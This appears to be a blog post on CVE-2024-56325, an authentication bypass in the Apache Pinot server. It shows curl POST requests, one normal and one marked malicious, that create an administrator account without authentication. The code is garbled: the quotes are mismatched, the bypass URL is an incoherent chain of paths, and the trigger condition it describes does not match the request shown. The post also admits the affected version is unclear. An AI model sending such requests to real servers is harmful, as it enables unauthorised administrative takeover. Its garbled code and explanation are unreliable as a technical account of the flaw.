Security vulnerabilities are often encountered in software development, and the Common Vulnerabilities and Exposures (CVE) system provides a reference for these vulnerabilities. In this post, we will discuss a recently discovered vulnerability: CVE-2024-56325. This blog post aims to provide a better understanding of the vulnerability, related code snippets, and relevant links to resources, along with details about the exploit.

CVE-2024-56325: Authentication Bypass Issue

In this vulnerability, an authentication bypass issue exists in the Pinot server, which allows a malicious attacker to bypass the required authentication process and create new users with administrative privileges.

This can be exploited if the path in the HTTP POST request does not contain "/" and contains ".", the authentication will not be enforced. As a result, malicious requests can be sent without the proper authentication, compromising the security of the Pinot server.

A standard request and response, requiring authentication, would look like the following

curl -X POST -H "Content-Type: application/json" -d "{\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}  http://{server_ip}:900/users

The expected response would indicate that the authentication is required, as seen below

{"code":401,"error":"HTTP 401 Unauthorized"}

A malicious request, bypassing the authentication, would look like this

curl -X POST -H "Content-Type: application/json" -d "{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}'  http://{server_ip}:900/users; http://{server_ip}:900/users; .

In this case, the response indicates that the authentication bypass was successful, as shown below

{"users":{}}

The result is that a new user gets added without proper authentication checks, allowing the attacker to have administrative control over the Pinot server.

Conclusion

CVE-2024-56325 is a serious authentication bypass vulnerability affecting the Pinot server. By providing a clear understanding of the exploit, developers and security professionals can better assess the risks and take appropriate measures to protect their systems.

Original References and Resources

1. Apache Pinot: https://pinot.apache.org/
2. CVE Database: https://cve.mitre.org/
3. Pinot Security Issue: https://github.com/apache/incubator-pinot/pull/821 (by @idansommer)

Note: As of this writing, the specific version of Pinot affected by this vulnerability is not clear. However, the information provided should serve as a starting point for understanding the vulnerability and its potential impact. Always follow safe development practices, keep software components up-to-date, and monitor security advisories to stay informed about potential vulnerabilities.

Timeline

Published on: 04/01/2025 09:15:15 UTC
Last modified on: 04/01/2025 20:26:11 UTC